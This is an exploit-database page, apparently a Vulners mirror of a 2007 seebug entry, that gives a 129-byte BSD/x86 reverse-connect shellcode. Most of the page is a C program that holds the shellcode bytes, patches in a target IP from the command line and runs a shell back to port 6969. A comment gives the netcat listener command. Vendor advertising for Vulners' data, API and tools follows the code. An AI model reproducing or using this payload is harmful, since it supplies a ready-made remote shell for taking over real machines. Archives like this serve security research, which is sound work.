Lucene search
K

bsd/x86 reverse portbind 129 bytes

🗓️ 20 Dec 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Reverse portbind shellcode for BSD/x86 syste

Code

                                                /* reverse-portshell *BSD shellcode by noir       */
/* local usage: ./reverse-shell 192.168.2.33      */
/* remote:  nc -n -v -v -l -p 6969                */ 
/* listen on 6969/tcp				  */
/* [email protected]			  */

char shellcode[] = 
{
  0x31,0xc9,0x51,0x41,   
  0x51,0x41,0x51,0x51,
  0x31,0xc0,0xb0,0x61,
  0xcd,0x80,0x89,0x07,
  0x31,0xc9,0x88,0x4f, 
  0x04,0xc6,0x47,0x05,
  0x02,0xc7,0x47,0x08,
  0xc0,0xa8,0x01,0x45, //ipaddr
  0x66,0xc7,0x47,0x06,   
  0x1b,0x39,0x6a,0x10,
  0x8d,0x47,0x04,0x50,  
  0x8b,0x07,0x50,0x50,
  0x31,0xc0,0xb0,0x62,   
  0xcd,0x80,0x31,0xc9,
  0x51,0x8b,0x07,0x50,   
  0x50,0x31,0xc0,0xb0,
  0x5a,0xcd,0x80,0x41,   
  0x83,0xf9,0x03,0x75,
  0xef,0x31,0xc9,0x51,   
  0x51,0x31,0xc0,0xb0,
  0x17,0xcd,0x80,0xeb,   
  0x23,0x5b,0x89,0x1f,
  0x31,0xc9,0x88,0x4b,   
  0x07,0x89,0x4f,0x04,
  0x51,0x8d,0x07,0x50,   
  0x8b,0x07,0x50,0x50,
  0x31,0xc0,0xb0,0x3b,   
  0xcd,0x80,0x31,0xc9,
  0x51,0x51,0x31,0xc0,   
  0xb0,0x01,0xcd,0x80,
  0xe8,0xd8,0xff,0xff,   
  0xff,0x2f,0x62,0x69,
  0x6e,0x2f,0x73,0x68,   
  0x41
};

int
main(int argc, char ** argv)
{
  void (*f) (void);
  unsigned int d;

  if(!argv[0])
    exit(0);

  d = inet_addr(argv[1]);
  printf("IP: %lx shellcode len: %d\n", d, strlen(shellcode));

  shellcode[28] = d & 0xff ;
  shellcode[29] = (d >> 8) & 0xff;
  shellcode[30] = (d >> 16) & 0xff;
  shellcode[31] = (d >> 24) & 0xff;

  f =  (void *) shellcode;
  f();
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation